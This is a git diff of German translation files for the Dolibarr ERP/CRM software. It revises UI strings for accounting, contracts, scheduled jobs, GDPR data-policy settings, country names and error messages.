WarningDepositsNotIncluded=Anzahlungsrechnungen werden in dieser Version des Rechnungswesens nicht berücksichtigt. DatePaymentTermCantBeLowerThanObjectDate=Die Zahlungsfrist darf nicht kleiner als das Objektdatum sein -Pcg_version=Kontenplan Modelle +Pcg_version=Kontenplan-Vorlagen Pcg_type=Klasse des Kontos Pcg_subtype=Klasse des Kontos -InvoiceLinesToDispatch=versandbereite Rechnungspositionen +InvoiceLinesToDispatch=Versandbereite Rechnungspositionen ByProductsAndServices=Nach Produkten und Leistungen RefExt=Externe Referenz ToCreateAPredefinedInvoice=Um eine Vorlagenrechnung zu erstellen, erstellen Sie eine Standardrechnung und klicken Sie dann ohne Validierung auf die Schaltfläche "%s". @@ -243,14 +245,14 @@ CalculationRuleDescSupplier=Wählen Sie je nach Anbieter die geeignete Methode a TurnoverPerProductInCommitmentAccountingNotRelevant=Der Umsatzbericht pro Produkt ist nicht verfügbar. Dieser Bericht ist nur für verrechneten Umsatz verfügbar. TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Der Umsatzbericht pro Ust.-Satz ist nicht verfügbar. Dieser Bericht ist nur für den verrechneten Umsatz verfügbar. CalculationMode=Berechnungsmodus -AccountancyJournal=Kontierungscode-Journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Standard Buchhaltungs-Konto für Mehrwertsteuer - USt. auf Umsatz (wird verwendet, wenn nicht unter Einstellungen->Stammdaten USt-Sätze mit Kontozuordnungen hinterlegt sind) -ACCOUNTING_VAT_BUY_ACCOUNT=Standard Buchhaltungs-Konto für Vorsteuer - USt. bei Einkäufen (wird verwendet, wenn nicht unter Einstellungen->Stammdaten USt.-Sätze mit Kontozuordnungen hinterlegt sind) -ACCOUNTING_VAT_PAY_ACCOUNT=Standard-Aufwandskonto, um MwSt zu bezahlen -ACCOUNTING_ACCOUNT_CUSTOMER=Standard Buchhaltungskonto für Kunden/Debitoren (wenn nicht beim Partner definiert) -ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Das beim Geschäftspartner definierte spezielle Buchhaltungskonto wird nur für die Nebenbuchhaltung verwendet. Dieses wird für das Hauptbuch und als Standardwert der Nebenbuchhaltung verwendet, wenn kein eigenes Debitorenbuchhaltungskonto für den Geschäftspartner definiert ist. -ACCOUNTING_ACCOUNT_SUPPLIER=Buchhaltungskonto für Lieferanten/Kreditoren -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Das beim Geschäftspartner definierte spezielle Buchhaltungskonto wird nur für die Nebenbuchhaltung verwendet. Dieses wird für das Hauptbuch und als Standardwert der Nebenbuchhaltung verwendet, wenn kein dediziertes Kreditorenbuchhaltungskonto für den Partner definiert ist. +AccountancyJournal=Erfassung in Journal +ACCOUNTING_VAT_SOLD_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die Umsatzsteuer auf Verkäufe verwendet werden soll (wird verwendet, wenn nicht in den Umsatzsteuer-Stammdaten definiert) +ACCOUNTING_VAT_BUY_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die Umsatzsteuer auf Einkäufe verwendet werden soll (wird verwendet, wenn nicht in den Umsatzsteuer-Stammdaten definiert) +ACCOUNTING_VAT_PAY_ACCOUNT=Konto (aus dem Kontenplan), das als Standard-Aufwandskonto für die Zahlung der Umsatzsteuer verwendet werden soll +ACCOUNTING_ACCOUNT_CUSTOMER=Konto (aus dem Kontenplan), das für Geschäftspartner, die „Kunde" sind, verwendet wird +ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Das beim Geschäftspartner definierte spezielle Buchungskonto wird nur für die Nebenbuchhaltung verwendet. Dieses wird für das Hauptbuch und als Standardwert der Nebenbuchhaltung verwendet, wenn kein eigenes Debitorenbuchungskonto für den Geschäftspartner definiert ist. +ACCOUNTING_ACCOUNT_SUPPLIER=Konto (aus dem Kontenplan), das für Geschäftspartner, die "Lieferanten" sind, verwendet wird +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Das beim Geschäftspartner definierte spezielle Buchungskonto wird nur für die Nebenbuchhaltung verwendet. Dieses wird für das Hauptbuch und als Standardwert der Nebenbuchhaltung verwendet, wenn kein dediziertes Kreditorenbuchungskonto für den Geschäftspartner definiert ist. ConfirmCloneTax=Duplizierung der Steuer-/Sozialabgaben bestätigen ConfirmCloneVAT=Bestätigen Sie den Klon einer Mehrwertsteuererklärung ConfirmCloneSalary=Bestätige das Klonen der Gehaltsangabe @@ -266,7 +268,7 @@ ImportDataset_tax_contrib=Steuern/Sozialabgaben ImportDataset_tax_vat=USt.-Zahlungen ErrorBankAccountNotFound=Fehler: Bankkonto nicht gefunden FiscalPeriod=Buchhaltungsperiode -ListSocialContributionAssociatedProject=Liste der Sozialabgaben für dieses Projekt +ListSocialContributionAssociatedProject=Liste der mit dem Projekt verbundenen Sozialabgaben DeleteFromCat=Aus Kontengruppe entfernen AccountingAffectation=Kontierung zuweisen LastDayTaxIsRelatedTo=Letzter Tag an dem die Steuer relevant ist @@ -274,7 +276,7 @@ VATDue=Umsatzsteuer beansprucht ClaimedForThisPeriod=Beantragt in der Periode PaidDuringThisPeriod=Für diesen Zeitraum bezahlt PaidDuringThisPeriodDesc=Dies ist die Summe aller Zahlungen im Zusammenhang mit Mehrwertsteuererklärungen, deren Periodenende im ausgewählten Zeitraum liegt -ByVatRate=Pro Steuersatz +ByVatRate=Nach Steuersätzen TurnoverbyVatrate=Verrechneter Umsatz pro Steuersatz TurnoverCollectedbyVatrate=Realisierter Umsatz pro Steuersatz PurchasebyVatrate=Einkäufe pro Steuersatz @@ -282,9 +284,9 @@ LabelToShow=Kurzbezeichnung PurchaseTurnover=Einkaufsumsatz PurchaseTurnoverCollected=Einkaufsumsatz abgerechnet RulesPurchaseTurnoverDue=- Es enthält die fälligen Rechnungen des Lieferanten, ob diese bezahlt sind oder nicht.
      - Es basiert auf dem Rechnungsdatum dieser Rechnungen.
      -RulesPurchaseTurnoverIn=- Es umfasst alle effektiven Zahlungen von Rechnungen an Lieferanten.
      - Es basiert auf dem Zahlungsdatum dieser Rechnungen
      +RulesPurchaseTurnoverIn=- Es umfasst alle effektiven Zahlungen von Rechnungen an Lieferanten.
      - Es basiert auf dem Zahlungsdatum dieser Rechnungen.
      RulesPurchaseTurnoverTotalPurchaseJournal=Es enthält alle Belastungszeilen aus dem Einkaufsjournal. -RulesPurchaseTurnoverOfExpenseAccounts=Es umfasst (Lastschrift - Gutschrift) von Zeilen für Produktkonten in der Gruppe AUSGABEN +RulesPurchaseTurnoverOfExpenseAccounts=Umfasst Buchungen (Soll - Haben) von Positionen für Produktkonten in der Gruppe "Aufwand". ReportPurchaseTurnover=Einkaufsumsatz fakturiert ReportPurchaseTurnoverCollected=Einkaufsumsatz abgerechnet IncludeVarpaysInResults = Nehmen Sie verschiedene Zahlungen in Berichte auf @@ -298,5 +300,6 @@ InvoiceNotLate30Days = Demnächst fällig (> 30 Tage) InvoiceToPay=Zu zahlen (< 15 Tage) InvoiceToPay15Days=Zu zahlen (15 bis 30 Tage) InvoiceToPay30Days=Zu zahlen (> 30 Tage) -ConfirmPreselectAccount=Buchhaltungscode vorbelegen +ConfirmPreselectAccount=Buchungskonto vorbelegen ConfirmPreselectAccountQuestion=Möchten Sie die %s ausgewählten Zeilen wirklich mit diesem Buchhaltungscode vorbelegen? +AmountPaidMustMatchAmountOfDownPayment=Der gezahlte Betrag muss mit dem Betrag der Anzahlung übereinstimmen diff --git a/htdocs/langs/de_DE/contracts.lang b/htdocs/langs/de_DE/contracts.lang index 87886ef5226..1fdb8b46c12 100644 --- a/htdocs/langs/de_DE/contracts.lang +++ b/htdocs/langs/de_DE/contracts.lang @@ -3,17 +3,17 @@ ContractsArea=Übersicht Verträge/Abonnements ListOfContracts=Liste der Verträge AllContracts=Alle Verträge ContractCard=Vertrag – Übersicht -ContractStatusNotRunning=Nicht aktiviert +ContractStatusNotRunning=Nicht aktiv ContractStatusDraft=Entwurf ContractStatusValidated=Freigegeben -ContractStatusClosed=Geschlossen -ServiceStatusInitial=Nicht aktiviert +ContractStatusClosed=Beendet +ServiceStatusInitial=Nicht aktiv ServiceStatusRunning=Läuft -ServiceStatusNotLate=Läuft (noch nicht abgelaufen) +ServiceStatusNotLate=Aktiv ServiceStatusNotLateShort=Nicht abgelaufen ServiceStatusLate=Läuft (abgelaufen) ServiceStatusLateShort=Abgelaufen -ServiceStatusClosed=Geschlossen +ServiceStatusClosed=Beendet ShowContractOfService=Zeige Vertrag zur Leistung Contracts=Verträge ContractsSubscriptions=Verträge/Abonnements @@ -27,7 +27,7 @@ MenuServices=Leistungen MenuInactiveServices=Inaktive Leistungen MenuRunningServices=Aktive Leistungen MenuExpiredServices=Abgelaufene Leistungen -MenuClosedServices=Geschlossene Leistungen +MenuClosedServices=Beendete Leistungen NewContract=Neuer Vertrag NewContractSubscription=Neuer Vertrag oder Abonnement AddContract=Vertrag erstellen @@ -37,7 +37,7 @@ CloseAContract=Vertrag schließen ConfirmDeleteAContract=Möchten Sie diesen Vertrag und alle verbundenen Leistungen wirklich löschen? ConfirmValidateContract=Möchten Sie diesen Vertrag wirklich unter dem Namen %s freigeben? ConfirmActivateAllOnContract=Dies wird alle Leistungen aktivieren, die noch nicht aktiv sind. Sollen wirklich alle Leistungen aktiviert werden? -ConfirmCloseContract=Es werden alle Leistungen geschlossen (auch laufende). Möchten Sie diesen Vertrag wirklich schließen? +ConfirmCloseContract=Es werden alle Leistungen beendet (auch laufende). Möchten Sie diesen Vertrag wirklich schließen? ConfirmCloseService=Möchten Sie diese Leistung wirklich mit Datum %s deaktivieren? ValidateAContract=Einen Vertrag freigeben ActivateService=Leistung aktivieren @@ -48,7 +48,7 @@ DateServiceActivate=Aktivierungsdatum der Leistung ListOfServices=Liste der Leistungen ListOfInactiveServices=Liste der nicht aktiven Leistungen ListOfExpiredServices=Liste der abgelaufenen, aktiven Leistungen -ListOfClosedServices=Liste der geschlossenen Leistungen +ListOfClosedServices=Liste der beendeten Leistungen ListOfRunningServices=Liste aktiver Leistungen NotActivatedServices=Inaktive Leistungen (in freigegebenen Verträgen) BoardNotActivatedServices=Zu aktivierende Leistungen in freigegebenen Verträgen @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Möchten Sie diese Vertragsposition wirklich löschen? MoveToAnotherContract=Leistung in anderen Vertrag verschieben. ConfirmMoveToAnotherContract=Neuer Vertrag als Ziel für das Verschieben gewählt. Die Leistung jetzt in diesen Vertrag verschieben. ConfirmMoveToAnotherContractQuestion=Auswählen, in welchen bestehenden Vertrag (desselben Geschäftspartners) diese Leistung verschoben werden soll? -PaymentRenewContractId=Verlängere Vertragsposition (Nummer %s) +PaymentRenewContractId=Vertrag verlängern %s (Leistung %s) ExpiredSince=Ablaufdatum NoExpiredServices=Keine abgelaufen aktiven Leistungen ListOfServicesToExpireWithDuration=Liste der Leistungen die in %s Tagen ablaufen diff --git a/htdocs/langs/de_DE/cron.lang b/htdocs/langs/de_DE/cron.lang index 2d6a6b86deb..fb71ac7e632 100644 --- a/htdocs/langs/de_DE/cron.lang +++ b/htdocs/langs/de_DE/cron.lang @@ -1,8 +1,8 @@ # Dolibarr language file - Source file is en_US - cron # About page # Right -Permission23101 = geplante Aufgabe einsehen -Permission23102 = Erstelle/ändere geplanten Job +Permission23101 = Geplante Aufgabe einsehen +Permission23102 = Erstelle/aktualisiere geplanten Job Permission23103 = Lösche geplanten Job Permission23104 = Führe geplanten Job aus # Admin @@ -16,7 +16,7 @@ CronExplainHowToRunWin=In Microsoft™ Windows Umgebungen können Sie die Aufgab CronMethodDoesNotExists=Klasse %s enthält keine Methode %s CronMethodNotAllowed=Die Methode %s der Klasse %s befindet sich in der schwarzen Liste der verbotenen Methoden CronJobDefDesc=Cron-Jobprofile sind in der Moduldeskriptordatei definiert. Wenn das Modul aktiviert ist, sind diese geladen und verfügbar, so dass Sie die Jobs über das Menü admin tools %s verwalten können. -CronJobProfiles=Liste vordefinierter Cron-Jobprofile +CronJobProfiles=Liste vordefinierter Cron-Job Profile # Menu EnabledAndDisabled=Aktiviert und deaktiviert # Page list @@ -26,7 +26,7 @@ CronCommand=Befehl CronList=Geplante Jobs CronDelete=Geplante Jobs löschen CronConfirmDelete=Sind Sie sicher, dass Sie diese geplanten Aufträge jetzt löschen möchten? -CronExecute=Geplanten Job jetzt ausführen +CronExecute=Jetzt starten CronConfirmExecute=Sind Sie sicher, dass Sie diese geplante Aufträge jetzt ausführen möchten? CronInfo=Das Modul "Cron-Jobs" erlaubt es Aufgaben zu bestimmten Zeitpunkten auszuführen. Die Aufgaben können auch manuell gestartet werden. CronTask=Job @@ -58,7 +58,7 @@ CronNote=Kommentar CronFieldMandatory=Feld %s ist zwingend nötig CronErrEndDateStartDt=Enddatum kann nicht vor dem Startdatum liegen StatusAtInstall=Status bei der Modulinstallation -CronStatusActiveBtn=Zeitplan +CronStatusActiveBtn=Zeitplanung aktivieren CronStatusInactiveBtn=Deaktivieren CronTaskInactive=Dieser Job ist deaktiviert (keine Ausführung geplant) CronId=ID @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Lokales Datenbank-Backup MakeLocalDatabaseDump=Erstellen Sie einen lokalen Datenbankspeicherauszug. Parameter sind: Komprimierung ('gz' oder 'bz' oder 'none'), Sicherungstyp ('mysql', 'pgsql', 'auto'), 1, 'auto' oder zu erstellender Dateiname, Anzahl der zu speichernden Sicherungsdateien MakeSendLocalDatabaseDumpShort=Lokale Datenbanksicherung senden MakeSendLocalDatabaseDump=Lokale Datenbanksicherung per E-Mail senden. Parameter sind: an, von, Betreff, Nachricht, Dateiname (Name der gesendeten Datei), Filter ('sql' nur für Backup der Datenbank). +BackupIsTooLargeSend=Die letzte Sicherungsdatei ist zu groß, um per E-Mail gesendet zu werden +CleanUnfinishedCronjobShort=Unbeendeten Cronjob bereinigen +CleanUnfinishedCronjob=Bereinigen eines in der Verarbeitung hängengebliebenen Cronjob, wenn der Prozess nicht mehr ausgeführt wird WarningCronDelayed=Bitte beachten: Aus Leistungsgründen können Ihre Jobs um bis zu %s Stunden verzögert werden, unabhängig vom nächsten Ausführungstermin. DATAPOLICYJob=Datenbereiniger und Anonymisierer JobXMustBeEnabled=Job %s muss aktiviert sein +EmailIfError=E-Mail zur Warnung bei Fehler +ErrorInBatch=Fehler beim Ausführen des Jobs %s + # Cron Boxes LastExecutedScheduledJob=Zuletzt ausgeführter geplanter Job NextScheduledJobExecute=Nächster geplanter Job, der ausgeführt werden soll NumberScheduledJobError=Anzahl der fehlerhaften geplanten Jobs +NumberScheduledJobNeverFinished=Anzahl der geplanten Jobs, die nie beendet wurden diff --git a/htdocs/langs/de_DE/datapolicy.lang b/htdocs/langs/de_DE/datapolicy.lang new file mode 100644 index 00000000000..4880c97ae67 --- /dev/null +++ b/htdocs/langs/de_DE/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Datenschutzrichtlinien +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul zur Verwaltung der Datenschutzeinstellungen (DSGVO-Konform) + +# +# Administration page +# +datapolicySetup = Modul Datenschutzrichtlinien einrichten +Deletion = Löschung von Daten +datapolicySetupPage = Abhängig von den Gesetzen Ihres Landes (Beispiel Artikel 5 der DSGVO) müssen personenbezogene Daten für einen Zeitraum aufbewahrt werden, der den für die Zwecke, für die sie erhoben wurden, erforderlichen Zeitraum nicht überschreitet, mit Ausnahme von Archivierungszwecken.
      Die Löschung erfolgt automatisch nach einer bestimmten Dauer ohne Ereignis (die Dauer, die Sie unten angegeben haben). +NB_MONTHS = %s Monate +ONE_YEAR = 1 Jahr +NB_YEARS = %s Jahre +DATAPOLICY_TIERS_CLIENT = Kunde +DATAPOLICY_TIERS_PROSPECT = Interessent +DATAPOLICY_TIERS_PROSPECT_CLIENT = Interessent/Kunde +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Weder Interessent noch Kunde +DATAPOLICY_TIERS_FOURNISSEUR = Lieferant +DATAPOLICY_CONTACT_CLIENT = Kunde +DATAPOLICY_CONTACT_PROSPECT = Interessent +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Interessent/Kunde +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Weder Interessent noch Kunde +DATAPOLICY_CONTACT_FOURNISSEUR = Lieferant +DATAPOLICY_ADHERENT = Mitglied +DATAPOLICY_Tooltip_SETUP = Art des Kontakts – Geben Sie Ihre Auswahl für jede Art an. +DATAPOLICYMail = E-Mail-Einrichtung +DATAPOLICYSUBJECTMAIL = Betreff der E-Mail +DATAPOLICYCONTENTMAIL = Inhalt der E-Mail +DATAPOLICYSUBSITUTION = Sie können die folgenden Variablen in Ihrer E-Mail verwenden (LINKACCEPT ermöglicht es, einen Link zu erstellen, der die Zustimmung der Person aufzeichnet, LINKREFUSED ermöglicht es, die Ablehnung der Person aufzuzeichnen): +DATAPOLICYACCEPT = Nachricht nach einer Zustimmung +DATAPOLICYREFUSE = Nachricht nach einer Ablehnung +SendAgreementText = Sie können eine DSGVO-E-Mail an alle Ihre relevanten Kontakte senden (die noch keine E-Mail erhalten haben und für die Sie nichts über ihre DSGVO-Vereinbarung registriert haben). Verwenden Sie dazu die folgende Schaltfläche. +SendAgreement = E-Mails senden +AllAgreementSend = Alle E-Mails wurden versendet +TXTLINKDATAPOLICYACCEPT = Text für den Link "Zustimmung" +TXTLINKDATAPOLICYREFUSE = Text für den Link "Ablehnung" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = DSGVO: Verarbeitung personenbezogener Daten +DATAPOLICY_consentement = Einwilligung zur Verarbeitung personenbezogener Daten eingeholt +DATAPOLICY_opposition_traitement = Widerspricht der Verarbeitung seiner personenbezogenen Daten +DATAPOLICY_opposition_prospection = widersetzt sich der Verarbeitung seiner personenbezogenen Daten zum Zwecke der Kundenakquise + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymisieren Sie einen Geschäftspartner +DATAPOLICY_POPUP_ANONYME_TEXTE = Sie können diesen Kontakt nicht aus Dolibarr löschen, da es zugeordnete Objekte gibt. In Übereinstimmung mit der DSGVO werden alle diese Daten anonymisiert, um Ihren Verpflichtungen nachzukommen. Möchten Sie fortfahren ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Übertragbarkeit DSGVO +DATAPOLICY_PORTABILITE_TITLE = Export personenbezogener Daten +DATAPOLICY_PORTABILITE_CONFIRMATION = Sie möchten die personenbezogenen Daten dieses Kontakts exportieren. Sind Sie sicher ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymisiert die %s + +# V2 +DATAPOLICYReturn = DSGVO-Validierung +DATAPOLICY_date = Datum der Zustimmung/Ablehnung DSGVO +DATAPOLICY_send = Datum, an dem die Vereinbarungs-E-Mail gesendet wird +DATAPOLICYReturn = DSGVO-Validierung +DATAPOLICY_SEND = DSGVO-E-Mail senden +MailSent = Die Email wurde verschickt + +# ERROR +ErrorSubjectIsRequired = Fehler: Der Betreff der E-Mail ist erforderlich. Geben Sie ihn im Modul-Setup an +=Aufgrund eines technischen Problems konnten wir Ihre Auswahl nicht registrieren. Wir bitten dafür um Entschuldigung. Kontaktieren Sie uns, um uns Ihre Wahl zu senden. +NUMBER_MONTH_BEFORE_DELETION = Anzahl der Monate bis zum Löschen diff --git a/htdocs/langs/de_DE/dict.lang b/htdocs/langs/de_DE/dict.lang index 09e842d86b7..d36674790ed 100644 --- a/htdocs/langs/de_DE/dict.lang +++ b/htdocs/langs/de_DE/dict.lang @@ -7,11 +7,11 @@ CountryDE=Deutschland CountryCH=Schweiz # Warning, country code GB is for United Kingdom. UK Does not exists as country code in ISO standard. CountryGB=Großbritannien -CountryUK=England +CountryUK=Vereinigte Königreich CountryIE=Irland CountryCN=China CountryTN=Tunesien -CountryUS=Vereinigte Staaten +CountryUS=Vereinigte Staaten von Amerika\n CountryMA=Marokko CountryDZ=Algerien CountryCA=Kanada @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint Barthelemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Frau +CivilityMMEShort=Frau CivilityMR=Herr +CivilityMRShort=Herr CivilityMLE=Frau CivilityMTRE=Professor CivilityDR=Doktor diff --git a/htdocs/langs/de_DE/ecm.lang b/htdocs/langs/de_DE/ecm.lang index f8a78c892f1..54c6632e3df 100644 --- a/htdocs/langs/de_DE/ecm.lang +++ b/htdocs/langs/de_DE/ecm.lang @@ -5,18 +5,21 @@ ECMSectionManual=Manueller Ordner ECMSectionAuto=Automatischer Ordner ECMSectionsManual=Manuelle Hierarchie ECMSectionsAuto=Automatische Hierarchie +ECMSectionsMedias=Verzeichnisbaum Medien ECMSections=Verzeichnisse (Ordner) ECMRoot=Stammverzeichnis ECMNewSection=Neuer Ordner ECMAddSection=Verzeichnis hinzufügen -ECMCreationDate=Erstellungsdatum +ECMCreationDate=Erstellungszeitpunkt ECMNbOfFilesInDir=Anzahl der Dateien im Verzeichnis ECMNbOfSubDir=Anzahl Unterverzeichnisse ECMNbOfFilesInSubDir=Anzahl der Dateien in Unterverzeichnissen ECMCreationUser=Autor ECMArea=DMS/ECM Bereich ECMAreaDesc=Der Bereich DMS/ECM (Document Management System / Electronic Content Management) ermöglicht Ihnen das schnelle Speichern, Teilen und Durchsuchen von Dokumenten aller Art in Dolibarr. -ECMAreaDesc2=* In den automatischen Verzeichnissen werden die vom System erzeugten Dokumente abgelegt.
      * Die manuellen Verzeichnisse können Sie selbst verwalten und zusätzliche nicht direkt zuordenbare Dokumente hinterlegen. +ECMAreaDesc2a=* Manuelle Verzeichnisse können verwendet werden, um Dokumente zu speichern, die nicht mit einem bestimmten Element verknüpft sind. +ECMAreaDesc2b=* Automatische Verzeichnisse werden automatisch gefüllt, wenn Dokumente von der Seite eines Elements hinzugefügt werden. +ECMAreaDesc3=* Medienverzeichnisse sind Dateien im Unterverzeichnis /medias des Dokumentenverzeichnisses, die von jedem gelesen werden können, ohne dass eine Anmeldung erforderlich ist und die Datei nicht explizit freigegeben werden muss. Darin werden beispielsweise Bilddateien für das E-Mail- oder Website-Modul gespeichert. ECMSectionWasRemoved=Verzeichnis %s wurde gelöscht. ECMSectionWasCreated=Verzeichnis %s wurde erstellt. ECMSearchByKeywords=Suche nach Stichwörtern diff --git a/htdocs/langs/de_DE/errors.lang b/htdocs/langs/de_DE/errors.lang index fcf914761dd..b069d878900 100644 --- a/htdocs/langs/de_DE/errors.lang +++ b/htdocs/langs/de_DE/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Benutzername %s existiert bereits. ErrorGroupAlreadyExists=Gruppe %s existiert bereits. ErrorEmailAlreadyExists=E-Mail %s existiert bereits. ErrorRecordNotFound=Eintrag wurde nicht gefunden. +ErrorRecordNotFoundShort=Nicht gefunden ErrorFailToCopyFile=Konnte die Datei '%s' nicht nach '%s' kopieren. ErrorFailToCopyDir=Konnte Verzeichnis '%s' nicht nach '%s' kopieren. ErrorFailToRenameFile=Konnte die Datei '%s' nicht in '%s' umbenennen. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Bildformat nicht unsterstützt (Ihr PHP hat keine Konvertier ErrorBadDateFormat=Eintrag '%s' hat falsche Datumsformat ErrorWrongDate=Falsches Datum! ErrorFailedToWriteInDir=Fehler beim Schreiben in das Verzeichnis %s +ErrorFailedToBuildArchive=Archivdatei %s konnte nicht erstellt werden ErrorFoundBadEmailInFile=Ungültige E-Mail-Adresse in %s Zeilen der Datei gefunden (z.B. Zeile %s mit E-Mail=%s) ErrorUserCannotBeDelete=Dieser Benutzer kann nicht gelöscht werden. Eventuell ist er noch mit einem Partner verknüpft. ErrorFieldsRequired=Einige erforderliche Felder wurden leer gelassen. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Bitte Wert für Kontrollkästchen-Liste eingeben ErrorNoValueForRadioType=Bitte Wert für Radiobutton-Liste eingeben ErrorBadFormatValueList=Die Listewerte kann nicht mehr als ein Komma:%s , muss jedoch mindestens einen Schlüssel, Wert beinhalten ErrorFieldCanNotContainSpecialCharacters=Das Feld %s darf keine Sonderzeichen enthalten. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Das Feld %s darf keine Sonderzeichen, Großbuchstaben und Leerzeichen enthalten und darf nicht nur aus Ziffern bestehen. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Das Feld %s darf weder Sonderzeichen noch Großbuchstaben enthalten und muss mit einem Buchstaben (a-z) beginnen ErrorFieldMustHaveXChar=Das Feld %s muss aus mindestens %s Zeichen bestehen. ErrorNoAccountancyModuleLoaded=Kein Buchhaltungsmodul aktiviert ErrorExportDuplicateProfil=Dieser Profilname existiert bereits für dieses Exportprofil. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Feld %s (Wert '%s' passt nicht zur Regex-R ErrorHtmlInjectionForField=Feld %s : Der Wert '%s' enthält schädliche Daten, die nicht erlaubt sind ErrorFieldValueNotIn=Feld %s: '%s' ist kein Wert in Feld %s von %s ErrorFieldRefNotIn=Das Feld %s : ' %s ' ist keine %s Referenz +ErrorMultipleRecordFoundFromRef=Mehrere Datensätze gefunden bei der Suche von Ref.Nr. %s. Es ist daher unklar, welche ID verwendet werden soll. ErrorsOnXLines=%s Fehler gefunden ErrorFileIsInfectedWithAVirus=Der Virenschutz konnte diese Datei nicht freigeben (eventuell ist diese mit einem Virus infiziert) -ErrorSpecialCharNotAllowedForField=Sonderzeichen sind im Feld '%s' nicht erlaubt ErrorNumRefModel=Es besteht ein Bezug zur Datenbank (%s) der mit dieser Numerierungsfolge nicht kompatibel ist. Entfernen Sie den Eintrag oder benennen Sie den Verweis um, um dieses Modul zu aktivieren. ErrorQtyTooLowForThisSupplier=Menge zu niedrig für diesen Lieferanten oder kein für dieses Produkt definierter Preis für diesen Lieferanten ErrorOrdersNotCreatedQtyTooLow=Einige Bestellungen wurden aufgrund zu geringer Mengen nicht erstellt @@ -178,7 +180,7 @@ ErrorPriceExpression24=Variable '%s' existiert, hat aber keinen Wert ErrorPriceExpressionInternal=Interner Fehler '%s' ErrorPriceExpressionUnknown=Unbekannter Fehler '%s' ErrorSrcAndTargetWarehouseMustDiffers=Quelle und Ziel-Lager müssen unterschiedlich sein -ErrorTryToMakeMoveOnProductRequiringBatchData=Fehler, Sie versuchen Sie eine Lagerbewegung ohne Chargen-/Seriennummer für Produkt '%s' zu machen, welches diese Information benötigt +ErrorTryToMakeMoveOnProductRequiringBatchData=Fehler, Sie versuchen eine Lagerbewegung ohne Chargen-/Seriennummer für Produkt '%s' vorzunehmen, das diese Information benötigt ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Alle erfassten Eingänge müssen zunächst überprüft werden (genehmigt oder abgelehnt), bevor es erlaubt ist diese Aktion auszuführen ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Alle gespeicherten Empfänge müssen erst überprüft werden (zugelassen), bevor es ihm gestattet ist diese Aktion zu tun ErrorGlobalVariableUpdater0=HTTP-Anforderung ist mit dem Fehler '%s' fehlgeschlagen @@ -198,10 +200,10 @@ ErrorFileMustHaveFormat=Die Datei muss das Format %s haben. ErrorFilenameCantStartWithDot=Dateiname darf nicht mit "." beginnen ErrorSupplierCountryIsNotDefined=Land für diesen Lieferanten ist nicht definiert. Muss zuerst korrigiert werden. ErrorsThirdpartyMerge=Fehler beim Zusammenführen der beiden Einträge. Die Anforderung wurde abgebrochen. -ErrorStockIsNotEnoughToAddProductOnOrder=Nicht genug Bestand von Produkt %s, um es einem neuen Auftrag zuzufügen. -ErrorStockIsNotEnoughToAddProductOnInvoice=Nicht genug Bestand von Produkt %s, um es einer neuen Rechnung zuzufügen. -ErrorStockIsNotEnoughToAddProductOnShipment=Nicht genug Bestand von Produkt %s, um es einer neuen Sendung zuzufügen. -ErrorStockIsNotEnoughToAddProductOnProposal=Nicht genug Bestand von Produkt %s, um es einem neuen Angebot zuzufügen. +ErrorStockIsNotEnoughToAddProductOnOrder=Lagerbestand für Produkt %s ist zu niedrig, um es zum neuen Auftrag hinzuzufügen. +ErrorStockIsNotEnoughToAddProductOnInvoice=Lagerbestand für Produkt %s ist zu niedrig, um es zur neuen Rechnung hinzuzufügen. +ErrorStockIsNotEnoughToAddProductOnShipment=Lagerbestand für Produkt %s ist zu niedrig, um es zur neuen Lieferung hinzuzufügen. +ErrorStockIsNotEnoughToAddProductOnProposal=Lagerbestand für Produkt %s ist zu niedrig, um es zum neuen Angebot hinzuzufügen. ErrorFailedToLoadLoginFileForMode=Konnte Loginschlüssel für Modul '%s' nicht ermitteln. ErrorModuleNotFound=Datei des Modul nicht gefunden. ErrorFieldAccountNotDefinedForBankLine=Buchungskonto nicht definiert für Quell-Position %s(%s) @@ -218,7 +220,7 @@ ErrorDuplicateTrigger=Fehler, doppelter Triggername %s. Schon geladen durch %s. ErrorNoWarehouseDefined=Fehler, keine Warenlager definiert. ErrorBadLinkSourceSetButBadValueForRef=Der Link ist ungültig. Die Quelle für die Zahlung ist definiert, aber die Referenz ist ungültig. ErrorTooManyErrorsProcessStopped=Zu viele Fehler, Verarbeitung abgebrochen. -ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Massenfreigabe ist nicht Möglich, wenn die Option um den 